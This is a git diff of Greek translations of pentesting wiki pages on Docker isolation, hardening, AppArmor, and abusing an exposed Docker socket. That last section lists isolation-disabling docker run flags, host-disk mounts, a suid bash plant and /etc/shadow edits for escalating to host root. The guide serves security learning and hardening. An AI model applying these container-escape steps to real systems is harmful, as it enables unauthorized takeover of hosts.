υπογράψει την εικόνα. @@ -92,11 +92,11 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private **Κύρια Χαρακτηριστικά Απομόνωσης Διαδικασιών** -Σε περιβάλλοντα κοντέινερ, η απομόνωση έργων και των διαδικασιών τους είναι πρωταρχικής σημασίας για την ασφάλεια και τη διαχείριση πόρων. Ακολουθεί μια απλοποιημένη εξήγηση βασικών εννοιών: +Σε κοντεϊνεροποιημένα περιβάλλοντα, η απομόνωση έργων και των διαδικασιών τους είναι πρωταρχικής σημασίας για την ασφάλεια και τη διαχείριση πόρων. Ακολουθεί μια απλοποιημένη εξήγηση βασικών εννοιών: **Namespaces** -- **Σκοπός**: Διασφαλίζει την απομόνωση πόρων όπως διαδικασίες, δίκτυο και συστήματα αρχείων. Ιδιαίτερα στο Docker, τα namespaces κρατούν τις διαδικασίες ενός κοντέινερ ξεχωριστές από τον host και άλλα κοντέινερ. +- **Σκοπός**: Διασφαλίζει την απομόνωση πόρων όπως διαδικασίες, δίκτυο και συστήματα αρχείων. Ιδιαίτερα στο Docker, τα namespaces διατηρούν τις διαδικασίες ενός κοντέινερ ξεχωριστές από τον host και άλλα κοντέινερ. - **Χρήση του `unshare`**: Η εντολή `unshare` (ή η υποκείμενη syscall) χρησιμοποιείται για τη δημιουργία νέων namespaces, παρέχοντας ένα επιπλέον επίπεδο απομόνωσης. Ωστόσο, ενώ το Kubernetes δεν μπλοκάρει εγγενώς αυτό, το Docker το κάνει. - **Περιορισμός**: Η δημιουργία νέων namespaces δεν επιτρέπει σε μια διαδικασία να επιστρέψει στα προεπιλεγμένα namespaces του host. Για να διεισδύσει στα namespaces του host, συνήθως απαιτείται πρόσβαση στον κατάλογο `/proc` του host, χρησιμοποιώντας το `nsenter` για είσοδο. @@ -108,9 +108,9 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private **Capability Drop** - **Σημασία**: Είναι ένα κρίσιμο χαρακτηριστικό ασφαλείας για την απομόνωση διαδικασιών. -- **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια διαδικασία root απορρίπτοντας ορισμένες δυνατότητες. Ακόμα και αν μια διαδικασία εκτελείται με δικαιώματα root, η έλλειψη των απαραίτητων δυνατοτήτων την εμποδίζει να εκτελεί προνομιακές ενέργειες, καθώς οι syscalls θα αποτύχουν λόγω ανεπαρκών δικαιωμάτων. +- **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια διαδικασία root απορρίπτοντας ορισμένες ικανότητες. Ακόμη και αν μια διαδικασία εκτελείται με δικαιώματα root, η έλλειψη των απαραίτητων ικανοτήτων την εμποδίζει να εκτελεί προνομιακές ενέργειες, καθώς οι syscalls θα αποτύχουν λόγω ανεπαρκών δικαιωμάτων. -Αυτές είναι οι **υπόλοιπες δυνατότητες** μετά την απόρριψη των άλλων: +Αυτές είναι οι **υπόλοιπες ικανότητες** μετά την απόρριψη των άλλων: ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` @@ -129,9 +129,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca ### Namespaces -**Namespaces** είναι μια δυνατότητα του πυρήνα Linux που **διαχωρίζει τους πόρους του πυρήνα** έτσι ώστε ένα σύνολο **διαδικασιών** **να βλέπει** ένα σύνολο **πόρων** ενώ **ένα άλλο** σύνολο **διαδικασιών** βλέπει ένα **διαφορετικό** σύνολο πόρων. Η δυνατότητα λειτουργεί με το να έχει τον ίδιο namespace για ένα σύνολο πόρων και διαδικασιών, αλλά αυτοί οι namespaces αναφέρονται σε διακριτούς πόρους. Οι πόροι μπορεί να υπάρχουν σε πολλαπλούς χώρους. +**Namespaces** είναι μια δυνατότητα του πυρήνα Linux που **διαχωρίζει τους πόρους του πυρήνα** έτσι ώστε ένα σύνολο **διαδικασιών** να **βλέπει** ένα σύνολο **πόρων** ενώ ένα **άλλο** σύνολο **διαδικασιών** βλέπει ένα **διαφορετικό** σύνολο πόρων. Η δυνατότητα λειτουργεί με το να έχει τον ίδιο namespace για ένα σύνολο πόρων και διαδικασιών, αλλά αυτοί οι namespaces αναφέρονται σε διακριτούς πόρους. Οι πόροι μπορεί να υπάρχουν σε πολλαπλούς χώρους. -Το Docker χρησιμοποιεί τους παρακάτω Namespaces του πυρήνα Linux για να επιτύχει την απομόνωση των κοντέινερ: +Το Docker χρησιμοποιεί τους παρακάτω Namespaces του πυρήνα Linux για να επιτύχει την απομόνωση των Container: - pid namespace - mount namespace @@ -147,8 +147,8 @@ namespaces/ ### cgroups -Η δυνατότητα του πυρήνα Linux **cgroups** παρέχει τη δυνατότητα να **περιορίσει τους πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διαδικασιών. Το Docker επιτρέπει τη δημιουργία Κοντέινερ χρησιμοποιώντας τη δυνατότητα cgroup που επιτρέπει τον έλεγχο των πόρων για το συγκεκριμένο Κοντέινερ.\ -Ακολουθεί ένα Κοντέινερ που δημιουργήθηκε με περιορισμένη μνήμη χώρου χρήστη στα 500m, περιορισμένη μνήμη πυρήνα στα 50m, μερίδιο cpu στα 512, blkioweight στα 400. Το μερίδιο CPU είναι μια αναλογία που ελέγχει τη χρήση CPU του Κοντέινερ. Έχει μια προεπιλεγμένη τιμή 1024 και εύρος μεταξύ 0 και 1024. Εάν τρία Κοντέινερ έχουν το ίδιο μερίδιο CPU 1024, κάθε Κοντέινερ μπορεί να καταναλώσει έως και 33% της CPU σε περίπτωση διαγωνισμού πόρων CPU. Το blkio-weight είναι μια αναλογία που ελέγχει το IO του Κοντέινερ. Έχει μια προεπιλεγμένη τιμή 500 και εύρος μεταξύ 10 και 1000. +Η δυνατότητα του πυρήνα Linux **cgroups** παρέχει τη δυνατότητα να **περιορίσει τους πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διαδικασιών. Το Docker επιτρέπει τη δημιουργία Containers χρησιμοποιώντας τη δυνατότητα cgroup που επιτρέπει τον έλεγχο των πόρων για το συγκεκριμένο Container.\ +Ακολουθεί ένα Container που δημιουργήθηκε με περιορισμένη μνήμη χώρου χρήστη στα 500m, περιορισμένη μνήμη πυρήνα στα 50m, μερίδιο cpu στα 512, blkioweight στα 400. Το μερίδιο CPU είναι μια αναλογία που ελέγχει τη χρήση CPU του Container. Έχει προεπιλεγμένη τιμή 1024 και εύρος μεταξύ 0 και 1024. Εάν τρία Containers έχουν το ίδιο μερίδιο CPU 1024, κάθε Container μπορεί να καταναλώσει έως και 33% της CPU σε περίπτωση διαμάχης πόρων CPU. Το blkio-weight είναι μια αναλογία που ελέγχει το IO του Container. Έχει προεπιλεγμένη τιμή 500 και εύρος μεταξύ 10 και 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -194,7 +194,7 @@ apparmor.md - **Σύστημα Ετικετών**: Το SELinux ανα assigns μια μοναδική ετικέτα σε κάθε διαδικασία και αντικείμενο συστήματος αρχείων. - **Επιβολή Πολιτικής**: Επιβάλλει πολιτικές ασφαλείας που καθορίζουν ποιες ενέργειες μπορεί να εκτελέσει μια ετικέτα διαδικασίας σε άλλες ετικέτες εντός του συστήματος. -- **Ετικέτες Διαδικασιών Container**: Όταν οι μηχανές container ξεκινούν διαδικασίες container, συνήθως τους ανατίθεται μια περιορισμένη ετικέτα SELinux, συνήθως `container_t`. +- **Ετικέτες Διαδικασίας Container**: Όταν οι μηχανές container ξεκινούν διαδικασίες container, συνήθως τους ανατίθεται μια περιορισμένη ετικέτα SELinux, συνήθως `container_t`. - **Ετικετοποίηση Αρχείων μέσα σε Containers**: Τα αρχεία μέσα στο container συνήθως ετικετοποιούνται ως `container_file_t`. - **Κανόνες Πολιτικής**: Η πολιτική SELinux διασφαλίζει κυρίως ότι οι διαδικασίες με την ετικέτα `container_t` μπορούν να αλληλεπιδρούν μόνο (να διαβάζουν, να γράφουν, να εκτελούν) με αρχεία που ετικετοποιούνται ως `container_file_t`. @@ -247,7 +247,7 @@ docker-privileged.md #### no-new-privileges -Εάν εκτελείτε ένα κοντέινερ όπου ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση ως χρήστης χαμηλών δικαιωμάτων. Εάν έχετε μια **κακώς ρυθμισμένη δυαδική suid**, ο επιτιθέμενος μπορεί να την εκμεταλλευτεί και να **κλιμακώσει τα δικαιώματα μέσα** στο κοντέινερ. Αυτό μπορεί να του επιτρέψει να διαφύγει από αυτό. +Εάν εκτελείτε ένα κοντέινερ όπου ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση ως χρήστης χαμηλών δικαιωμάτων. Εάν έχετε ένα **κακώς ρυθμισμένο suid binary**, ο επιτιθέμενος μπορεί να το εκμεταλλευτεί και να **κλιμακώσει τα δικαιώματα μέσα** στο κοντέινερ. Αυτό μπορεί να του επιτρέψει να διαφύγει από αυτό. Η εκτέλεση του κοντέινερ με την επιλογή **`no-new-privileges`** ενεργοποιημένη θα **αποτρέψει αυτόν τον τύπο κλιμάκωσης δικαιωμάτων**. ``` @@ -278,19 +278,19 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv **Docker volumes** είναι μια πιο ασφαλής εναλλακτική, που συνιστάται για την πρόσβαση σε ευαίσθητες πληροφορίες. Μπορούν να χρησιμοποιηθούν ως προσωρινό σύστημα αρχείων στη μνήμη, μειώνοντας τους κινδύνους που σχετίζονται με το `docker inspect` και την καταγραφή. Ωστόσο, οι χρήστες root και αυτοί με πρόσβαση `exec` στο κοντέινερ μπορεί να έχουν ακόμα πρόσβαση στα μυστικά. -**Docker secrets** προσφέρουν μια ακόμη πιο ασφαλή μέθοδο για τη διαχείριση ευαίσθητων πληροφοριών. Για περιπτώσεις που απαιτούν μυστικά κατά τη διάρκεια της φάσης κατασκευής της εικόνας, το **BuildKit** προσφέρει μια αποδοτική λύση με υποστήριξη για μυστικά κατά την κατασκευή, βελτιώνοντας την ταχύτητα κατασκευής και παρέχοντας επιπλέον δυνατότητες. +**Docker secrets** προσφέρουν μια ακόμη πιο ασφαλή μέθοδο για τη διαχείριση ευαίσθητων πληροφοριών. Για περιπτώσεις που απαιτούν μυστικά κατά τη διάρκεια της φάσης κατασκευής της εικόνας, **BuildKit** προσφέρει μια αποδοτική λύση με υποστήριξη για μυστικά κατά την κατασκευή, βελτιώνοντας την ταχύτητα κατασκευής και παρέχοντας επιπλέον δυνατότητες. Για να αξιοποιήσετε το BuildKit, μπορεί να ενεργοποιηθεί με τρεις τρόπους: 1. Μέσω μιας μεταβλητής περιβάλλοντος: `export DOCKER_BUILDKIT=1` 2. Προσθέτοντας πρόθεμα στις εντολές: `DOCKER_BUILDKIT=1 docker build .` -3. Ενεργοποιώντας το από προεπιλογή στη ρύθμιση Docker: `{ "features": { "buildkit": true } }`, ακολουθούμενο από επανεκκίνηση του Docker. +3. Ενεργοποιώντας το από προεπιλογή στη ρύθμιση Docker: `{ "features": { "buildkit": true } }`, ακολουθούμενο από μια επανεκκίνηση του Docker. Το BuildKit επιτρέπει τη χρήση μυστικών κατά την κατασκευή με την επιλογή `--secret`, διασφαλίζοντας ότι αυτά τα μυστικά δεν περιλαμβάνονται στην κρυφή μνήμη κατασκευής της εικόνας ή στην τελική εικόνα, χρησιμοποιώντας μια εντολή όπως: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` -Για τα μυστικά που απαιτούνται σε ένα τρέχον κοντέινερ, **Docker Compose και Kubernetes** προσφέρουν ισχυρές λύσεις. Το Docker Compose χρησιμοποιεί ένα κλειδί `secrets` στον ορισμό υπηρεσίας για να καθορίσει τα αρχεία μυστικών, όπως φαίνεται σε ένα παράδειγμα `docker-compose.yml`: +Για τα μυστικά που απαιτούνται σε ένα τρέχον κοντέινερ, **Docker Compose και Kubernetes** προσφέρουν ισχυρές λύσεις. Το Docker Compose χρησιμοποιεί ένα κλειδί `secrets` στην ορισμό υπηρεσίας για να καθορίσει τα αρχεία μυστικών, όπως φαίνεται σε ένα παράδειγμα `docker-compose.yml`: ```yaml version: "3.7" services: @@ -305,7 +305,7 @@ file: ./my_secret_file.txt ``` Αυτή η ρύθμιση επιτρέπει τη χρήση μυστικών κατά την εκκίνηση υπηρεσιών με το Docker Compose. -Σε περιβάλλοντα Kubernetes, τα μυστικά υποστηρίζονται εγγενώς και μπορούν να διαχειριστούν περαιτέρω με εργαλεία όπως το [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Οι Ρόλοι Βασισμένοι σε Ελέγχους Πρόσβασης (RBAC) του Kubernetes ενισχύουν την ασφάλεια διαχείρισης μυστικών, παρόμοια με το Docker Enterprise. +Σε περιβάλλοντα Kubernetes, τα μυστικά υποστηρίζονται εγγενώς και μπορούν να διαχειριστούν περαιτέρω με εργαλεία όπως το [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Οι Ρόλοι Βασισμένοι σε Ελέγχους Πρόσβασης (RBAC) του Kubernetes ενισχύουν την ασφάλεια της διαχείρισης μυστικών, παρόμοια με το Docker Enterprise. ### gVisor @@ -315,7 +315,7 @@ file: ./my_secret_file.txt ### Kata Containers -**Kata Containers** είναι μια κοινότητα ανοιχτού κώδικα που εργάζεται για την κατασκευή ενός ασφαλούς runtime κοντέινερ με ελαφριές εικονικές μηχανές που αισθάνονται και αποδίδουν όπως τα κοντέινερ, αλλά παρέχουν **ισχυρότερη απομόνωση φόρτου εργασίας χρησιμοποιώντας τεχνολογία εικονικοποίησης υλικού** ως δεύτερη γραμμή άμυνας. +**Kata Containers** είναι μια κοινότητα ανοιχτού κώδικα που εργάζεται για την κατασκευή ενός ασφαλούς runtime κοντέινερ με ελαφριές εικονικές μηχανές που αισθάνονται και αποδίδουν όπως τα κοντέινερ, αλλά παρέχουν **ισχυρότερη απομόνωση φορτίου εργασίας χρησιμοποιώντας τεχνολογία εικονικοποίησης υλικού** ως δεύτερη γραμμή άμυνας. {% embed url="https://katacontainers.io/" %} @@ -323,17 +323,17 @@ file: ./my_secret_file.txt - **Μην χρησιμοποιείτε τη σημαία `--privileged` ή να τοποθετείτε ένα** [**Docker socket μέσα στο κοντέινερ**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Το docker socket επιτρέπει τη δημιουργία κοντέινερ, οπότε είναι ένας εύκολος τρόπος να αποκτήσετε πλήρη έλεγχο του host, για παράδειγμα, εκτελώντας ένα άλλο κοντέινερ με τη σημαία `--privileged`. - **Μην εκτελείτε ως root μέσα στο κοντέινερ. Χρησιμοποιήστε έναν** [**διαφορετικό χρήστη**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **και** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** Ο root στο κοντέινερ είναι ο ίδιος με αυτόν στον host εκτός αν ανακατανεμηθεί με user namespaces. Είναι μόνο ελαφρώς περιορισμένος από, κυρίως, Linux namespaces, δυνατότητες και cgroups. -- [**Αφαιρέστε όλες τις δυνατότητες**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλές από τις φόρτους εργασίας δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει την έκταση μιας πιθανής επίθεσης. +- [**Αφαιρέστε όλες τις δυνατότητες**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλά φορτία εργασίας δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει την έκταση μιας πιθανής επίθεσης. - [**Χρησιμοποιήστε την επιλογή ασφαλείας “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) για να αποτρέψετε τις διαδικασίες από το να αποκτούν περισσότερες δυνατότητες, για παράδειγμα μέσω suid binaries. - [**Περιορίστε τους πόρους που είναι διαθέσιμοι στο κοντέινερ**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Οι περιορισμοί πόρων μπορούν να προστατεύσουν τη μηχανή από επιθέσεις άρνησης υπηρεσίας. - **Ρυθμίστε** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ή SELinux)** προφίλ για να περιορίσετε τις ενέργειες και τις syscalls που είναι διαθέσιμες για το κοντέινερ στο ελάχιστο που απαιτείται. - **Χρησιμοποιήστε** [**επίσημες εικόνες docker**](https://docs.docker.com/docker-hub/official_images/) **και απαιτήστε υπογραφές** ή κατασκευάστε τις δικές σας βασισμένες σε αυτές. Μην κληρονομείτε ή χρησιμοποιείτε [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) εικόνες. Αποθηκεύστε επίσης τα κλειδιά root, τη φράση πρόσβασης σε ασφαλές μέρος. Το Docker έχει σχέδια να διαχειρίζεται τα κλειδιά με το UCP. -- **Ανακατασκευάστε τακτικά** τις εικόνες σας για να **εφαρμόσετε ενημερώσεις ασφαλείας στον host και τις εικόνες.** -- Διαχειριστείτε τα **μυστικά σας σοφά** ώστε να είναι δύσκολο για τον επιτιθέμενο να τα αποκτήσει. +- **Ανακατασκευάστε τακτικά** τις εικόνες σας για να **εφαρμόσετε διορθώσεις ασφαλείας στον host και τις εικόνες.** +- Διαχειριστείτε τα **μυστικά σας με σύνεση** ώστε να είναι δύσκολο για τον επιτιθέμενο να τα αποκτήσει. - Εάν **εκθέτετε τον docker daemon χρησιμοποιήστε HTTPS** με πιστοποίηση πελάτη και διακομιστή. - Στο Dockerfile σας, **προτιμήστε το COPY αντί για το ADD**. Το ADD εξάγει αυτόματα αρχεία zip και μπορεί να αντιγράψει αρχεία από URLs. Το COPY δεν έχει αυτές τις δυνατότητες. Όποτε είναι δυνατόν, αποφύγετε τη χρήση του ADD ώστε να μην είστε ευάλωτοι σε επιθέσεις μέσω απομακρυσμένων URLs και αρχείων Zip. - Έχετε **χωριστά κοντέινερ για κάθε μικρο-υπηρεσία** -- **Μην βάζετε ssh** μέσα στο κοντέινερ, το “docker exec” μπορεί να χρησιμοποιηθεί για ssh στο Κοντέινερ. +- **Μην τοποθετείτε ssh** μέσα στο κοντέινερ, το “docker exec” μπορεί να χρησιμοποιηθεί για ssh στο Κοντέινερ. - Έχετε **μικρότερες** εικόνες κοντέινερ ## Docker Breakout / Privilege Escalation diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index 02cd53986..84bbbd637 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -Υπάρχουν περιπτώσεις όπου έχετε **πρόσβαση στο docker socket** και θέλετε να το χρησιμοποιήσετε για να **ανεβάσετε δικαιώματα**. Ορισμένες ενέργειες μπορεί να είναι πολύ ύποπτες και ίσως θελήσετε να τις αποφύγετε, οπότε εδώ μπορείτε να βρείτε διάφορες σημαίες που μπορεί να είναι χρήσιμες για την ανύψωση δικαιωμάτων: +Υπάρχουν περιπτώσεις όπου έχετε **πρόσβαση στο docker socket** και θέλετε να το χρησιμοποιήσετε για να **ανεβάσετε δικαιώματα**. Ορισμένες ενέργειες μπορεί να είναι πολύ ύποπτες και μπορεί να θέλετε να τις αποφύγετε, οπότε εδώ μπορείτε να βρείτε διάφορες σημαίες που μπορεί να είναι χρήσιμες για την ανύψωση δικαιωμάτων: ### Μέσω mount -Μπορείτε να **mount** διάφορα μέρη του **filesystem** σε ένα κοντέινερ που τρέχει ως root και να τα **πρόσβαση**.\ +Μπορείτε να **mount** διάφορα μέρη του **filesystem** σε ένα κοντέινερ που τρέχει ως root και να τα **προσεγγίσετε**.\ Μπορείτε επίσης να **καταχραστείτε ένα mount για να ανεβάσετε δικαιώματα** μέσα στο κοντέινερ. - **`-v /:/host`** -> Mount το filesystem του host στο κοντέινερ ώστε να μπορείτε να **διαβάσετε το filesystem του host.** -- Αν θέλετε να **νιώσετε ότι είστε στον host** αλλά να είστε στο κοντέινερ, μπορείτε να απενεργοποιήσετε άλλους μηχανισμούς άμυνας χρησιμοποιώντας σημαίες όπως: +- Αν θέλετε να **νιώσετε ότι είστε στον host** αλλά να είστε στο κοντέινερ μπορείτε να απενεργοποιήσετε άλλους μηχανισμούς άμυνας χρησιμοποιώντας σημαίες όπως: - `--privileged` - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -20,20 +20,20 @@ - `--userns=host` - `--uts=host` - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Αυτό είναι παρόμοιο με την προηγούμενη μέθοδο, αλλά εδώ **mount το δίσκο της συσκευής**. Στη συνέχεια, μέσα στο κοντέινερ τρέξτε `mount /dev/sda1 /mnt` και μπορείτε να **πρόσβαση** στο **filesystem του host** στο `/mnt` -- Τρέξτε `fdisk -l` στον host για να βρείτε τη συσκευή `` για να την mount -- **`-v /tmp:/host`** -> Αν για κάποιο λόγο μπορείτε **μόνο να mount κάποια κατάλογο** από τον host και έχετε πρόσβαση μέσα στον host. Mount το και δημιουργήστε ένα **`/bin/bash`** με **suid** στον mounted κατάλογο ώστε να μπορείτε να **το εκτελέσετε από τον host και να ανεβάσετε σε root**. +- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Αυτό είναι παρόμοιο με την προηγούμενη μέθοδο, αλλά εδώ **mountάρουμε τη συσκευή δίσκου**. Στη συνέχεια, μέσα στο κοντέινερ τρέξτε `mount /dev/sda1 /mnt` και μπορείτε να **προσεγγίσετε** το **filesystem του host** στο `/mnt` +- Τρέξτε `fdisk -l` στον host για να βρείτε τη συσκευή `` για να την mountάρετε +- **`-v /tmp:/host`** -> Αν για κάποιο λόγο μπορείτε **μόνο να mountάρετε κάποιον φάκελο** από τον host και έχετε πρόσβαση μέσα στον host. Mountάρετε το και δημιουργήστε ένα **`/bin/bash`** με **suid** στον mounted φάκελο ώστε να μπορείτε να **το εκτελέσετε από τον host και να ανεβείτε σε root**. > [!NOTE] -> Σημειώστε ότι ίσως δεν μπορείτε να mount τον φάκελο `/tmp` αλλά μπορείτε να mount έναν **διαφορετικό εγγράψιμο φάκελο**. Μπορείτε να βρείτε εγγράψιμους καταλόγους χρησιμοποιώντας: `find / -writable -type d 2>/dev/null` +> Σημειώστε ότι ίσως δεν μπορείτε να mountάρετε τον φάκελο `/tmp` αλλά μπορείτε να mountάρετε έναν **διαφορετικό εγγράψιμο φάκελο**. Μπορείτε να βρείτε εγγράψιμους φακέλους χρησιμοποιώντας: `find / -writable -type d 2>/dev/null` > -> **Σημειώστε ότι δεν υποστηρίζουν όλοι οι κατάλογοι σε μια μηχανή linux το suid bit!** Για να ελέγξετε ποιες καταλόγους υποστηρίζουν το suid bit, τρέξτε `mount | grep -v "nosuid"` Για παράδειγμα, συνήθως οι `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` και `/var/lib/lxcfs` δεν υποστηρίζουν το suid bit. +> **Σημειώστε ότι όχι όλοι οι φάκελοι σε μια μηχανή linux θα υποστηρίζουν το suid bit!** Για να ελέγξετε ποιες καταλόγους υποστηρίζουν το suid bit τρέξτε `mount | grep -v "nosuid"` Για παράδειγμα, συνήθως οι `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` και `/var/lib/lxcfs` δεν υποστηρίζουν το suid bit. > -> Σημειώστε επίσης ότι αν μπορείτε να **mount `/etc`** ή οποιονδήποτε άλλο φάκελο **που περιέχει αρχεία ρυθμίσεων**, μπορείτε να τα αλλάξετε από το docker κοντέινερ ως root προκειμένου να **τα καταχραστείτε στον host** και να ανεβάσετε δικαιώματα (ίσως τροποποιώντας το `/etc/shadow`) +> Σημειώστε επίσης ότι αν μπορείτε να **mountάρετε το `/etc`** ή οποιονδήποτε άλλο φάκελο **που περιέχει αρχεία ρυθμίσεων**, μπορείτε να τα αλλάξετε από το docker κοντέινερ ως root προκειμένου να **τα καταχραστείτε στον host** και να ανεβάσετε δικαιώματα (ίσως τροποποιώντας το `/etc/shadow`) ### Διαφυγή από το κοντέινερ -- **`--privileged`** -> Με αυτή τη σημαία [αφαιρείτε όλη την απομόνωση από το κοντέινερ](docker-privileged.md#what-affects). Ελέγξτε τεχνικές για [να διαφύγετε από κοντέινερ με δικαιώματα root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). +- **`--privileged`** -> Με αυτή τη σημαία [αφαιρείτε όλη την απομόνωση από το κοντέινερ](docker-privileged.md#what-affects). Ελέγξτε τεχνικές για [να διαφύγετε από κοντέινερ με προνόμια ως root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). - **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Για [να ανεβάσετε καταχρώντας ικανότητες](../linux-capabilities.md), **δώστε αυτή την ικανότητα στο κοντέινερ** και απενεργοποιήστε άλλες μεθόδους προστασίας που μπορεί να εμποδίσουν την εκμετάλλευση να λειτουργήσει. ### Curl diff --git a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md index f4acfce09..998494db4 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -21,7 +21,7 @@ ### Profiles path Τα προφίλ του AppArmor αποθηκεύονται συνήθως στο _**/etc/apparmor.d/**_\ -Με το `sudo aa-status` θα μπορείτε να καταγράψετε τα δυαδικά αρχεία που περιορίζονται από κάποιο προφίλ. Αν αλλάξετε το χαρακτήρα "/" με μια τελεία στο μονοπάτι κάθε καταγεγραμμένου δυαδικού αρχείου, θα αποκτήσετε το όνομα του προφίλ του AppArmor μέσα στον αναφερόμενο φάκελο. +Με το `sudo aa-status` θα μπορείτε να καταγράψετε τα δυαδικά αρχεία που περιορίζονται από κάποιο προφίλ. Αν αλλάξετε τον χαρακτήρα "/" με μια τελεία στο μονοπάτι κάθε καταγεγραμμένου δυαδικού αρχείου, θα αποκτήσετε το όνομα του προφίλ του AppArmor μέσα στον αναφερόμενο φάκελο. Για παράδειγμα, ένα **apparmor** προφίλ για _/usr/bin/man_ θα βρίσκεται στο _/etc/apparmor.d/usr.bin.man_ @@ -37,7 +37,7 @@ aa-mergeprof #used to merge the policies ``` ## Δημιουργία προφίλ -- Για να υποδείξετε το επηρεαζόμενο εκτελέσιμο, επιτρέπονται **απόλυτες διαδρομές και wildcard** για τον καθορισμό αρχείων. +- Για να υποδείξετε το επηρεαζόμενο εκτελέσιμο, επιτρέπονται **απόλυτες διαδρομές και χαρακτήρες μπαλαντέρ** (για την αναζήτηση αρχείων) για τον καθορισμό αρχείων. - Για να υποδείξετε την πρόσβαση που θα έχει το δυαδικό αρχείο σε **αρχεία**, μπορούν να χρησιμοποιηθούν οι εξής **έλεγχοι πρόσβασης**: - **r** (ανάγνωση) - **w** (εγγραφή) @@ -48,7 +48,7 @@ aa-mergeprof #used to merge the policies - **Px** (εκτέλεση υπό άλλο προφίλ, μετά τον καθαρισμό του περιβάλλοντος) - **Cx** (εκτέλεση υπό ένα παιδικό προφίλ, μετά τον καθαρισμό του περιβάλλοντος) - **Ux** (εκτέλεση χωρίς περιορισμούς, μετά τον καθαρισμό του περιβάλλοντος) -- **Μεταβλητές** μπορούν να οριστούν στα προφίλ και μπορούν να χειριστούν από έξω από το προφίλ. Για παράδειγμα: @{PROC} και @{HOME} (προσθέστε #include \ στο αρχείο προφίλ) +- **Μεταβλητές** μπορούν να οριστούν στα προφίλ και μπορούν να τροποποιηθούν από έξω από το προφίλ. Για παράδειγμα: @{PROC} και @{HOME} (προσθέστε #include \ στο αρχείο προφίλ) - **Οι κανόνες άρνησης υποστηρίζονται για να παρακάμψουν τους κανόνες επιτρεπόμενης πρόσβασης**. ### aa-genprof @@ -58,7 +58,7 @@ aa-mergeprof #used to merge the policies ```bash sudo aa-genprof /path/to/binary ``` -Στη συνέχεια, σε μια διαφορετική κονσόλα εκτελέστε όλες τις ενέργειες που θα εκτελεί συνήθως το δυαδικό αρχείο: +Στη συνέχεια, σε μια διαφορετική κονσόλα εκτελέστε όλες τις ενέργειες που θα εκτελούσε συνήθως το δυαδικό αρχείο: ```bash /path/to/binary -a dosomething ``` @@ -169,15 +169,15 @@ docker-default - **Καμία ικανότητα** δεν έχει οριστεί (Ωστόσο, κάποιες ικανότητες θα προέρχονται από την συμπερίληψη βασικών κανόνων, δηλαδή #include \) - **Εγγραφή** σε οποιοδήποτε **/proc** αρχείο **δεν επιτρέπεται** - Άλλες **υποκαταλόγους**/**αρχεία** του /**proc** και /**sys** έχουν **αρνηθεί** πρόσβαση σε ανάγνωση/εγγραφή/κλείδωμα/σύνδεση/εκτέλεση -- **Τοποθέτηση** **δεν επιτρέπεται** +- **Μόντωση** **δεν επιτρέπεται** - **Ptrace** μπορεί να εκτελείται μόνο σε μια διαδικασία που περιορίζεται από το **ίδιο προφίλ apparmor** -Μόλις **εκτελέσετε ένα docker container**, θα πρέπει να δείτε την 